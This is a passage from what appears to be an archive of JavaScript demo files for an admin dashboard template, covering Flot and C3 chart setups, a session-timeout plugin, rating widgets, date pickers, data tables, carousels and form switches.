[ [0, 8], [1, 10], [2, 20], [3, 10], [4, 27], [5, 15], [6, 20], [7, 24], [8, 20] ], color: "#4099ff", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); $.plot($("#pbc-2"), [{ data: [ [0, 20], [1, 24], [2, 20], [3, 15], [4, 27], [5, 10], [6, 18], [7, 22], [8, 15] ], color: "#FF5370", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); $.plot($("#pbc-3"), [{ data: [ [0, 8], [1, 10], [2, 20], [3, 10], [4, 27], [5, 15], [6, 20], [7, 12], [8, 6] ], color: "#4099ff", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); $.plot($("#pbc-4"), [{ data: [ [0, 20], [1, 24], [2, 20], [3, 15], [4, 27], [5, 10], [6, 18], [7, 22], [8, 15] ], color: "#2ed8b6", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); $.plot($("#pbc-5"), [{ data: [ [0, 20], [1, 24], [2, 20], [3, 15], [4, 27], [5, 10], [6, 18], [7, 22], [8, 15] ], color: "#FF5370", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); $.plot($("#pbc-6"), [{ data: [ [0, 20], [1, 24], [2, 20], [3, 15], [4, 27], [5, 10], [6, 18], [7, 22], [8, 15] ], color: "#FF5370", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); //real-time update $(function() { // We use an inline data source in the example, usually data would // be fetched from a server var data = [], totalPoints = 300; function getRandomData() { if (data.length > 0) data = data.slice(1); // Do a random walk while (data.length < totalPoints) { var prev = data.length > 0 ? data[data.length - 1] : 50, y = prev + Math.random() * 10 - 5; if (y < 0) { y = 0; } else if (y > 100) { y = 100; } data.push(y); } // Zip the generated y values with the x values var res = []; for (var i = 0; i < data.length; ++i) { res.push([i, data[i]]) } return res; } // Set up the control widget var updateInterval = 30; $("#updateInterval").val(updateInterval).change(function() { var v = $(this).val(); if (v && !isNaN(+v)) { updateInterval = +v; if (updateInterval < 1) { updateInterval = 1; } else if (updateInterval > 2000) { updateInterval = 2000; } $(this).val("" + updateInterval); } }); var plot = $.plot("#realtime-profit", [getRandomData()], { lines: { show: true, fill: true, lineWidth: 1, borderWidth: 0, }, shadowSize: 5, highlightColor: "rgba(0,0,0,0.5)", points: { show: true, radius: 0, fill: true, fillColor: '#fff' }, curvedLines: { apply: false, }, legend: { show: false }, series: { label: "", color: "#2ed8b6", curvedLines: { active: true, nrSplinePoints: 20 }, }, tooltip: { show: true, content: "x : %x | y : %y" }, grid: { hoverable: true, borderWidth: 0, minBorderMargin: 0, }, yaxis: { min: 0, max: 100, }, xaxis: { font: { size: 0, } } }); function update() { plot.setData([getRandomData()]); // Since the axes don't change, we don't need to call plot.setupGrid() plot.draw(); setTimeout(update, updateInterval); } update(); }); $(function() { // sale start $.plot($("#sec-ecommerce-chart-line"), [{ data: [ [0, 18], [1, 10], [2, 20], [3, 10], [4, 27], [5, 15], [6, 20], [7, 24], [8, 20], [9, 16], [10, 18], [11, 10], [12, 20], [13, 10], [14, 27], ], color: "#fff", lines: { show: true, fill: false, lineWidth: 2 }, points: { show: true, radius: 3, fill: true, fillColor: '#fff' }, curvedLines: { apply: false, } }], options); $.plot($("#sec-ecommerce-chart-bar"), [{ data: [ [0, 18], [1, 10], [2, 20], [3, 10], [4, 27], [5, 15], [6, 20], [7, 24], [8, 20], [9, 16], [10, 18], [11, 10], [12, 20], [13, 10], [14, 27], ], color: "#5ffddd", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 1 }, { opacity: 1 }] }, barWidth: 0.6, align: 'center', horizontal: false }, points: { show: false }, }], options); }); // sale Income start $.plot($("#sal-income"), [{ data: [ [0, 25], [1, 15], [2, 20], [3, 27], [4, 10], [5, 20], [6, 10], [7, 26], [8, 20], [9, 10], [10, 25], [11, 27], [12, 12], [13, 26], ], color: "#4099ff", lines: { show: true, fill: true, lineWidth: 3 }, points: { show: false, }, curvedLines: { apply: true, } }], options); $.plot($("#rent-income"), [{ data: [ [0, 25], [1, 15], [2, 25], [3, 27], [4, 10], [5, 20], [6, 15], [7, 26], [8, 20], [9, 13], [10, 25], [11, 27], [12, 12], [13, 1], ], color: "#2ed8b6", lines: { show: true, fill: true, lineWidth: 3 }, points: { show: false, }, curvedLines: { apply: true, } }], options); $.plot($("#income-analysis"), [{ data: [ [0, 25], [1, 30], [2, 25], [3, 27], [4, 10], [5, 20], [6, 15], [7, 26], [8, 10], [9, 13], [10, 25], [11, 27], [12, 12], [13, 27], ], color: "#FF5370", lines: { show: true, fill: true, lineWidth: 3 }, points: { show: false, }, curvedLines: { apply: true, } }], options); $(window).on('resize',function() { $(".dial").knob({ draw: function() { // "tron" case if (this.$.data('skin') == 'tron') { this.cursorExt = 0.3; var a = this.arc(this.cv) // Arc , pa // Previous arc , r = 1; this.g.lineWidth = this.lineWidth; if (this.o.displayPrevious) { pa = this.arc(this.v); this.g.beginPath(); this.g.strokeStyle = this.pColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, pa.s, pa.e, pa.d); this.g.stroke(); } this.g.beginPath(); this.g.strokeStyle = r ? this.o.fgColor : this.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, a.s, a.e, a.d); this.g.stroke(); this.g.lineWidth = 2; this.g.beginPath(); this.g.strokeStyle = this.o.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false); this.g.stroke(); return false; } } }); }); $(document).ready(function() { /*× Overloaded 'draw' method*/ $(".dial").knob({ draw: function() { // "tron" case if (this.$.data('skin') == 'tron') { this.cursorExt = 0.3; var a = this.arc(this.cv) // Arc , pa // Previous arc , r = 1; this.g.lineWidth = this.lineWidth; if (this.o.displayPrevious) { pa = this.arc(this.v); this.g.beginPath(); this.g.strokeStyle = this.pColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, pa.s, pa.e, pa.d); this.g.stroke(); } this.g.beginPath(); this.g.strokeStyle = r ? this.o.fgColor : this.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, a.s, a.e, a.d); this.g.stroke(); this.g.lineWidth = 2; this.g.beginPath(); this.g.strokeStyle = this.o.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false); this.g.stroke(); return false; } } }); }); } taskboard.js000064400000000745151676702320007073 0ustar00$(function () { $('.dd').nestable(); $('.dd').on('change', function () { var $this = $(this); var serializedData = window.JSON.stringify($($this).nestable('serialize')); $this.parents('div.body').find('textarea').val(serializedData); }); $('.dd4').nestable(); $('.dd4').on('change', function () { var $this = $(this); var serializedData = window.JSON.stringify($($this).nestable('serialize')); }); });session-time-out.js000064400000013427151676702320010346 0ustar00'use strict'; ! function(e) { "use strict"; e.sessionTimeout = function(t) { function o() { f || (e.ajax({ type: d.ajaxType, url: d.keepAliveUrl, data: d.ajaxData }), f = !0, setTimeout(function() { f = !1 }, d.keepAliveInterval)) } function i() { clearTimeout(a), (d.countdownMessage || d.countdownBar) && s("session", !0), "function" == typeof d.onStart && d.onStart(d), d.keepAlive && o(), a = setTimeout(function() { "function" != typeof d.onWarn ? e("#session-timeout-dialog").modal("show") : d.onWarn(d), n() }, d.warnAfter) } function n() { clearTimeout(a), e("#session-timeout-dialog").hasClass("in") || !d.countdownMessage && !d.countdownBar || s("dialog", !0), a = setTimeout(function() { "function" != typeof d.onRedir ? window.location = d.redirUrl : d.onRedir(d) }, d.redirAfter - d.warnAfter) } function s(t, o) { clearTimeout(l.timer), "dialog" === t && o ? l.timeLeft = Math.floor((d.redirAfter - d.warnAfter) / 1e3) : "session" === t && o && (l.timeLeft = Math.floor(d.redirAfter / 1e3)), d.countdownBar && "dialog" === t ? l.percentLeft = Math.floor(l.timeLeft / ((d.redirAfter - d.warnAfter) / 1e3) * 100) : d.countdownBar && "session" === t && (l.percentLeft = Math.floor(l.timeLeft / (d.redirAfter / 1e3) * 100)); var i = e(".countdown-holder"), n = l.timeLeft >= 0 ? l.timeLeft : 0; if (d.countdownSmart) { var a = Math.floor(n / 60), r = n % 60, u = a > 0 ? a + "m" : ""; u.length > 0 && (u += " "), u += r + "s", i.text(u) } else i.text(n + "s"); d.countdownBar && e(".countdown-bar").css("width", l.percentLeft + "%"), l.timeLeft = l.timeLeft - 1, l.timer = setTimeout(function() { s(t) }, 1e3) } var a, r = { title: "Your Session is About to Expire!", message: "Your session is about to expire.", logoutButton: "Logout", keepAliveButton: "Stay Connected", keepAliveUrl: "pages/ui/session-timeout.html", ajaxType: "POST", ajaxData: "", redirUrl: "/timed-out", logoutUrl: "/log-out", warnAfter: 9e5, redirAfter: 12e5, keepAliveInterval: 5e3, keepAlive: !0, ignoreUserActivity: !1, onStart: !1, onWarn: !1, onRedir: !1, countdownMessage: !1, countdownBar: !1, countdownSmart: !1 }, d = r, l = {}; if (t && (d = e.extend(r, t)), d.warnAfter >= d.redirAfter) return console.error('Bootstrap-session-timeout plugin is miss-configured. Option "redirAfter" must be equal or greater than "warnAfter".'), !1; if ("function" != typeof d.onWarn) { var u = d.countdownMessage ? "<p>" + d.countdownMessage.replace(/{timer}/g, '<span class="countdown-holder"></span>') + "</p>" : "", c = d.countdownBar ? '<div class="progress progress-lg"> <div class="progress-bar progress-bar-success countdown-bar active" role="progressbar" style="min-width: 15px; width: 100%;"> <span class="countdown-holder"></span> </div> </div>' : ""; e("body").append('<div class="modal fade" id="session-timeout-dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">' + d.title + '</h4> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> </div> <div class="modal-body"> <p>' + d.message + "</p> " + u + " " + c + ' </div> <div class="modal-footer"> <button id="session-timeout-dialog-logout" type="button" class="btn btn-default">' + d.logoutButton + '</button> <button id="session-timeout-dialog-keepalive" type="button" class="btn btn-primary" data-dismiss="modal">' + d.keepAliveButton + "</button> </div> </div> </div> </div>"), e("#session-timeout-dialog-logout").on("click", function() { window.location = d.logoutUrl }), e("#session-timeout-dialog").on("hide.bs.modal", function() { i() }) } if (!d.ignoreUserActivity) { var m = [-1, -1]; e(document).on("keyup mouseup mousemove touchend touchmove", function(t) { if ("mousemove" === t.type) { if (t.clientX === m[0] && t.clientY === m[1]) return; m[0] = t.clientX, m[1] = t.clientY } i(), e("#session-timeout-dialog").length > 0 && e("#session-timeout-dialog").data("bs.modal") && e("#session-timeout-dialog").data("bs.modal").isShown && (e("#session-timeout-dialog").modal("hide"), e("body").removeClass("modal-open"), e("div.modal-backdrop").remove()) }) } var f = !1; i() } }(jQuery); $(document).ready(function() { $.sessionTimeout({ warnAfter: 3000, redirAfter: 300000, message: 'Your session is expiring soon.', logoutUrl: 'session-timeout.html' }); });rating.js000064400000007160151676702320006403 0ustar00"use strict"; $(document).ready(function() { function ratingEnable() { $('#example-1to10').barrating('show', { theme: 'bars-1to10', }); $('#example-movie').barrating('show', { theme: 'bars-movie' }); $('#example-movie').barrating('set', 'Mediocre'); $('#example-square').barrating('show', { theme: 'bars-square', showValues: true, showSelectedRating: false }); $('#example-pill').barrating('show', { theme: 'bars-pill', initialRating: 'A', showValues: true, showSelectedRating: false, allowEmpty: true, emptyValue: '-- no rating selected --', onSelect: function(value, text) { alert('Selected rating: ' + value); } }); $('#example-reversed').barrating('show', { theme: 'bars-reversed', showSelectedRating: true, reverse: true }); $('#example-horizontal').barrating('show', { theme: 'bars-horizontal', reverse: true, hoverState: false }); $('#example-fontawesome').barrating({ theme: 'fontawesome-stars', showSelectedRating: false }); $('.rating-star').barrating({ theme: 'css-stars', showSelectedRating: false }); $('#example-bootstrap').barrating({ theme: 'bootstrap-stars', showSelectedRating: false }); var currentRating = $('#example-fontawesome-o').data('current-rating'); $('.stars-example-fontawesome-o .current-rating') .find('span') .html(currentRating); $('.stars-example-fontawesome-o .clear-rating').on('click', function(event) { event.preventDefault(); $('#example-fontawesome-o') .barrating('clear'); }); $('#example-fontawesome-o').barrating({ theme: 'fontawesome-stars-o', showSelectedRating: false, initialRating: currentRating, onSelect: function(value, text) { if (!value) { $('#example-fontawesome-o') .barrating('clear'); } else { $('.stars-example-fontawesome-o .current-rating') .addClass('hidden'); $('.stars-example-fontawesome-o .your-rating') .removeClass('hidden') .find('span') .html(value); } }, onClear: function(value, text) { $('.stars-example-fontawesome-o') .find('.current-rating') .removeClass('hidden') .end() .find('.your-rating') .addClass('hidden'); } }); } function ratingDisable() { $('select').barrating('destroy'); } $('.rating-enable').on('click',function(event) { event.preventDefault(); ratingEnable(); $(this).addClass('deactivated'); $('.rating-disable').removeClass('deactivated'); }); $('.rating-disable').on('click',function(event) { event.preventDefault(); ratingDisable(); $(this).addClass('deactivated'); $('.rating-enable').removeClass('deactivated'); }); ratingEnable(); }); widgets.js000064400000003553151676702320006567 0ustar00$(function() { 'use strict'; jQuery('#visitfromworld').vectorMap({ map: 'world_mill_en', backgroundColor: 'transparent', borderColor: '#000', borderOpacity: 0, borderWidth: 0, zoomOnScroll: false, color: '#93d5ed', regionStyle: { initial: { fill: '#bce2fb', 'stroke-width': 1, stroke: '#fff' } }, markerStyle: { initial: { r: 5, fill: '#93d5ed', 'fill-opacity': 1, stroke: '#93d5ed', 'stroke-width': 1, 'stroke-opacity': 1 } }, enableZoom: true, hoverColor: '#79e580', markers: [ { latLng: [21.0, 78.0], name: 'India : 9347', style: { fill: '#2961ff' } }, { latLng: [-33.0, 151.0], name: 'Australia : 250', style: { fill: '#ff821c' } }, { latLng: [36.77, -119.41], name: 'USA : 250', style: { fill: '#40c4ff' } }, { latLng: [55.37, -3.41], name: 'UK : 250', style: { fill: '#398bf7' } }, { latLng: [25.2, 55.27], name: 'UAE : 250', style: { fill: '#6fc826' } } ], hoverOpacity: null, normalizeFunction: 'linear', scaleColors: ['#93d5ed', '#93d5ee'], selectedColor: '#c9dfaf', selectedRegions: [], showTooltip: true, onRegionClick: function(element, code, region) { var message = 'You clicked "' + region + '" which has the code: ' + code.toUpperCase(); alert(message); } }); $('#datepickerwidget').datetimepicker({ inline: true, format: 'L' }); var ps = new PerfectScrollbar(".scrollable", { wheelSpeed: 10, wheelPropagation: true, minScrollbarLength: 5 }); });form-picker.js000064400000011627151676702320007340 0ustar00(function($) { 'use strict'; $(document).ready(function() { $("#dropper-default").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c" }), $("#dropper-animation").dateDropper({ dropWidth: 200, init_animation: "bounce", dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c" }), $("#dropper-format").dateDropper({ dropWidth: 200, format: "F S, Y", dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c" }), $("#dropper-lang").dateDropper({ dropWidth: 200, format: "F S, Y", dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", lang: "ar" }), $("#dropper-lock").dateDropper({ dropWidth: 200, format: "F S, Y", dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", lock: "from" }), $("#dropper-max-year").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", maxYear: "2020" }), $("#dropper-min-year").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", minYear: "1990" }), $("#year-range").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", yearsRange: "5" }), $("#dropper-width").dateDropper({ dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", dropWidth: 500 }), $("#dropper-dangercolor").dateDropper({ dropWidth: 200, dropPrimaryColor: "#e74c3c", dropBorder: "1px solid #e74c3c", }), $("#dropper-backcolor").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", dropBackgroundColor: "#bdc3c7" }), $("#dropper-txtcolor").dateDropper({ dropWidth: 200, dropPrimaryColor: "#46627f", dropBorder: "1px solid #46627f", dropTextColor: "#FFF", dropBackgroundColor: "#e74c3c" }), $("#dropper-radius").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", dropBorderRadius: "0" }), $("#dropper-border").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "2px solid #1abc9c" }), $("#dropper-shadow").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", dropBorderRadius: "20px", dropShadow: "0 0 20px 0 rgba(26, 188, 156, 0.6)" }), $('#inlinedatetimepicker').datetimepicker({ inline: true, sideBySide: true }); $('#datepicker').datetimepicker({ format: 'L' }); $('#timepicker').datetimepicker({ format: 'LT' }); $('.demo').each( function() { // // Dear reader, it's actually very easy to initialize MiniColors. For example: // // $(selector).minicolors(); // // The way I've done it below is just for the demo, so don't get confused // by it. Also, data- attributes aren't supported at this time...they're // only used for this demo. // $(this).minicolors({ control: $(this).attr('data-control') || 'hue', defaultValue: $(this).attr('data-defaultValue') || '', format: $(this).attr('data-format') || 'hex', keywords: $(this).attr('data-keywords') || '', inline: $(this).attr('data-inline') === 'true', letterCase: $(this).attr('data-letterCase') || 'lowercase', opacity: $(this).attr('data-opacity'), position: $(this).attr('data-position') || 'bottom left', swatches: $(this).attr('data-swatches') ? $(this).attr('data-swatches').split('|') : [], change: function(value, opacity) { if( !value ) return; if( opacity ) value += ', ' + opacity; if( typeof console === 'object' ) { console.log(value); } }, theme: 'bootstrap' }); }); }) })(jQuery);tables.js000064400000002347151676702320006373 0ustar00function filterGlobal () { $('#advanced_table').DataTable().search( $('#global_filter').val() ).draw(); } function filterColumn ( i ) { $('#advanced_table').DataTable().column( i ).search( $('#col'+i+'_filter').val() ).draw(); } $(document).ready(function() { var table = $('#data_table').DataTable({ responsive: true, select: true, 'aoColumnDefs': [{ 'bSortable': false, 'aTargets': ['nosort'] }] }); $('#data_table tbody').on( 'click', 'tr', function() { if ( $(this).hasClass('selected') ) { $(this).removeClass('selected'); } else { table.$('tr.selected').removeClass('selected'); $(this).addClass('selected'); } }); $("#advanced_table").DataTable({ responsive: true, select: true, 'aoColumnDefs': [{ 'bSortable': false, 'aTargets': ['nosort'] }] }); $('input.global_filter').on( 'keyup click', function () { filterGlobal(); }); $('input.column_filter').on( 'keyup click', function () { filterColumn( $(this).attr('data-column') ); }); });carousel.js000064400000002504151676702320006731 0ustar00$(document).ready(function() { $().owlCarousel && ($(".owl-carousel.basic").length > 0 && $(".owl-carousel.basic").owlCarousel({ margin: 30, stagePadding: 15, dotsContainer: $(".owl-carousel.basic").parents(".owl-container").find(".slider-dot-container"), responsive: { 0: { items: 1 }, 600: { items: 2 }, 1000: { items: 3 } } }).data("owl.carousel").onResize(), $(".owl-carousel.single").length > 0 && $(".owl-carousel.single").owlCarousel({ margin: 30, items: 1, loop: !0, stagePadding: 15, dotsContainer: $(".owl-carousel.single").parents(".owl-container").find(".slider-dot-container") }).data("owl.carousel").onResize(), $(".owl-dot").click(function() { $($(this).parents(".owl-container").find(".owl-carousel")).owlCarousel().trigger("to.owl.carousel", [$(this).index(), 300]) }), $(".owl-prev").click(function(e) { e.preventDefault(), $($(this).parents(".owl-container").find(".owl-carousel")).owlCarousel().trigger("prev.owl.carousel", [300]) }), $(".owl-next").click(function(e) { e.preventDefault(), $($(this).parents(".owl-container").find(".owl-carousel")).owlCarousel().trigger("next.owl.carousel", [300]) })); });charts.js000064400000013537151676702320006410 0ustar00(function($) { 'use strict'; var c3LineChart = c3.generate({ bindto: '#c3-line-chart', data: { columns: [ ['data1', 30, 200, 100, 400, 150, 250], ['data2', 50, 20, 10, 40, 15, 25] ] }, color: { pattern: ['rgba(88,216,163,1)', 'rgba(237,28,36,0.6)', 'rgba(4,189,254,0.6)'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, } }); setTimeout(function() { c3LineChart.load({ columns: [ ['data1', 230, 190, 300, 500, 300, 400] ] }); }, 1000); setTimeout(function() { c3LineChart.load({ columns: [ ['data3', 130, 150, 200, 300, 200, 100] ] }); }, 1500); setTimeout(function() { c3LineChart.unload({ ids: 'data1' }); }, 2000); var c3SplineChart = c3.generate({ bindto: '#c3-spline-chart', data: { columns: [ ['data1', 30, 200, 100, 400, 150, 250], ['data2', 130, 100, 140, 200, 150, 50] ], type: 'spline' }, color: { pattern: ['rgba(88,216,163,1)', 'rgba(237,28,36,0.6)', 'rgba(4,189,254,0.6)'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, } }); var c3BarChart = c3.generate({ bindto: '#c3-bar-chart', data: { columns: [ ['data1', 30, 200, 100, 400, 150, 250], ['data2', 130, 100, 140, 200, 150, 50] ], type: 'bar' }, color: { pattern: ['rgba(88,216,163,1)', 'rgba(4,189,254,0.6)', 'rgba(237,28,36,0.6)'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, }, bar: { width: { ratio: 0.7 // this makes bar width 50% of length between ticks } } }); setTimeout(function() { c3BarChart.load({ columns: [ ['data3', 130, -150, 200, 300, -200, 100] ] }); }, 1000); var c3StepChart = c3.generate({ bindto: '#c3-step-chart', data: { columns: [ ['data1', 300, 350, 300, 0, 0, 100], ['data2', 130, 100, 140, 200, 150, 50] ], types: { data1: 'step', data2: 'area-step' } }, color: { pattern: ['rgba(88,216,163,1)', 'rgba(4,189,254,0.6)', 'rgba(237,28,36,0.6)'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, } }); var c3PieChart = c3.generate({ bindto: '#c3-pie-chart', data: { // iris data from R columns: [ ['data1', 30], ['data2', 120], ], type: 'pie', onclick: function(d, i) { console.log("onclick", d, i); }, onmouseover: function(d, i) { console.log("onmouseover", d, i); }, onmouseout: function(d, i) { console.log("onmouseout", d, i); } }, color: { pattern: ['#6153F9', '#8E97FC', '#A7B3FD'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, } }); setTimeout(function() { c3PieChart.load({ columns: [ ["Income", 0.2, 0.2, 0.2, 0.2, 0.2, 0.4, 0.3, 0.2, 0.2, 0.1, 0.2, 0.2, 0.1, 0.1, 0.2, 0.4, 0.4, 0.3, 0.3, 0.3, 0.2, 0.4, 0.2, 0.5, 0.2, 0.2, 0.4, 0.2, 0.2, 0.2, 0.2, 0.4, 0.1, 0.2, 0.2, 0.2, 0.2, 0.1, 0.2, 0.2, 0.3, 0.3, 0.2, 0.6, 0.4, 0.3, 0.2, 0.2, 0.2, 0.2], ["Outcome", 1.4, 1.5, 1.5, 1.3, 1.5, 1.3, 1.6, 1.0, 1.3, 1.4, 1.0, 1.5, 1.0, 1.4, 1.3, 1.4, 1.5, 1.0, 1.5, 1.1, 1.8, 1.3, 1.5, 1.2, 1.3, 1.4, 1.4, 1.7, 1.5, 1.0, 1.1, 1.0, 1.2, 1.6, 1.5, 1.6, 1.5, 1.3, 1.3, 1.3, 1.2, 1.4, 1.2, 1.0, 1.3, 1.2, 1.3, 1.3, 1.1, 1.3], ["Revenue", 2.5, 1.9, 2.1, 1.8, 2.2, 2.1, 1.7, 1.8, 1.8, 2.5, 2.0, 1.9, 2.1, 2.0, 2.4, 2.3, 1.8, 2.2, 2.3, 1.5, 2.3, 2.0, 2.0, 1.8, 2.1, 1.8, 1.8, 1.8, 2.1, 1.6, 1.9, 2.0, 2.2, 1.5, 1.4, 2.3, 2.4, 1.8, 1.8, 2.1, 2.4, 2.3, 1.9, 2.3, 2.5, 2.3, 1.9, 2.0, 2.3, 1.8], ] }); }, 1500); setTimeout(function() { c3PieChart.unload({ ids: 'data1' }); c3PieChart.unload({ ids: 'data2' }); }, 2500); var c3DonutChart = c3.generate({ bindto: '#c3-donut-chart', data: { columns: [ ['data1', 30], ['data2', 120], ], type: 'donut', onclick: function(d, i) { console.log("onclick", d, i); }, onmouseover: function(d, i) { console.log("onmouseover", d, i); }, onmouseout: function(d, i) { console.log("onmouseout", d, i); } }, color: { pattern: ['rgba(88,216,163,1)', 'rgba(4,189,254,0.6)', 'rgba(237,28,36,0.6)'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, }, donut: { title: "Iris Petal Width" } }); setTimeout(function() { c3DonutChart.load({ columns: [ ["setosa", 0.2, 0.2, 0.2, 0.2, 0.2, 0.4, 0.3, 0.2, 0.2, 0.1, 0.2, 0.2, 0.1, 0.1, 0.2, 0.4, 0.4, 0.3, 0.3, 0.3, 0.2, 0.4, 0.2, 0.5, 0.2, 0.2, 0.4, 0.2, 0.2, 0.2, 0.2, 0.4, 0.1, 0.2, 0.2, 0.2, 0.2, 0.1, 0.2, 0.2, 0.3, 0.3, 0.2, 0.6, 0.4, 0.3, 0.2, 0.2, 0.2, 0.2], ["versicolor", 1.4, 1.5, 1.5, 1.3, 1.5, 1.3, 1.6, 1.0, 1.3, 1.4, 1.0, 1.5, 1.0, 1.4, 1.3, 1.4, 1.5, 1.0, 1.5, 1.1, 1.8, 1.3, 1.5, 1.2, 1.3, 1.4, 1.4, 1.7, 1.5, 1.0, 1.1, 1.0, 1.2, 1.6, 1.5, 1.6, 1.5, 1.3, 1.3, 1.3, 1.2, 1.4, 1.2, 1.0, 1.3, 1.2, 1.3, 1.3, 1.1, 1.3], ["virginica", 2.5, 1.9, 2.1, 1.8, 2.2, 2.1, 1.7, 1.8, 1.8, 2.5, 2.0, 1.9, 2.1, 2.0, 2.4, 2.3, 1.8, 2.2, 2.3, 1.5, 2.3, 2.0, 2.0, 1.8, 2.1, 1.8, 1.8, 1.8, 2.1, 1.6, 1.9, 2.0, 2.2, 1.5, 1.4, 2.3, 2.4, 1.8, 1.8, 2.1, 2.4, 2.3, 1.9, 2.3, 2.5, 2.3, 1.9, 2.0, 2.3, 1.8], ] }); }, 1500); setTimeout(function() { c3DonutChart.unload({ ids: 'data1' }); c3DonutChart.unload({ ids: 'data2' }); }, 2500); })(jQuery); form-advanced.js000064400000010431151676702320007620 0ustar00"use strict"; $(document).ready(function() { // Single swithces var elemsingle = document.querySelector('.js-single'); var switchery = new Switchery(elemsingle, { color: '#4099ff', jackColor: '#fff' }); // Multiple swithces var elem = Array.prototype.slice.call(document.querySelectorAll('.js-switch')); elem.forEach(function(html) { var switchery = new Switchery(html, { color: '#4099ff', jackColor: '#fff' }); }); // Disable enable swithces var elemstate = document.querySelector('.js-dynamic-state'); var switcheryy = new Switchery(elemstate, { color: '#4099ff', jackColor: '#fff' }); document.querySelector('.js-dynamic-disable').addEventListener('click', function() { switcheryy.disable(); }); document.querySelector('.js-dynamic-enable').addEventListener('click', function() { switcheryy.enable(); }); // Color Swithces var elemdefault = document.querySelector('.js-default'); var switchery = new Switchery(elemdefault, { color: '#d6d6d6', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-primary'); var switchery = new Switchery(elemprimary, { color: '#4099ff', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-success'); var switchery = new Switchery(elemprimary, { color: '#2ed8b6', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-info'); var switchery = new Switchery(elemprimary, { color: '#4099ff', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-warning'); var switchery = new Switchery(elemprimary, { color: '#FFB64D', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-danger'); var switchery = new Switchery(elemprimary, { color: '#FF5370', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-inverse'); var switchery = new Switchery(elemprimary, { color: '#222', jackColor: '#fff' }); // Switch sizes var elemlarge = document.querySelector('.js-large'); var switchery = new Switchery(elemlarge, { color: '#4099ff', jackColor: '#fff', size: 'large' }); var elemmedium = document.querySelector('.js-medium'); var switchery = new Switchery(elemmedium, { color: '#4099ff', jackColor: '#fff', size: 'medium' }); var elemsmall = document.querySelector('.js-small'); var switchery = new Switchery(elemsmall, { color: '#4099ff', jackColor: '#fff', size: 'small' }); $('#tags').tagsinput('items'); $('.repeater').repeater({ // (Optional) // "defaultValues" sets the values of added items. The keys of // defaultValues refer to the value of the input's name attribute. // If a default value is not specified for an input, then it will // have its value cleared. defaultValues: { 'text-input': 'foo' }, // (Optional) // "show" is called just after an item is added. The item is hidden // at this point. If a show callback is not given the item will // have $(this).show() called on it. show: function() { $(this).slideDown(); }, // (Optional) // "hide" is called when a user clicks on a data-repeater-delete // element. The item is still visible. "hide" is passed a function // as its first argument which will properly remove the item. // "hide" allows for a confirmation step, to send a delete request // to the server, etc. If a hide callback is not given the item // will be deleted. hide: function(deleteElement) { if (confirm('Are you sure you want to delete this element?')) { $(this).slideUp(deleteElement); } }, // (Optional) // Removes the delete button from the first list item, // defaults to false. isFirstItemUndeletable: true }); $(".select2").select2(); $('.html-editor').summernote({ height: 300, tabsize: 2 }); });datatables.js000064400000056264151676702320007234 0ustar00$(document).ready(function() { var table = $('#data_table').DataTable({ responsive: true, select: true, 'aoColumnDefs': [{ 'bSortable': false, 'aTargets': ['nosort'] }] }); $('#data_table tbody').on( 'click', 'tr', function() { if ( 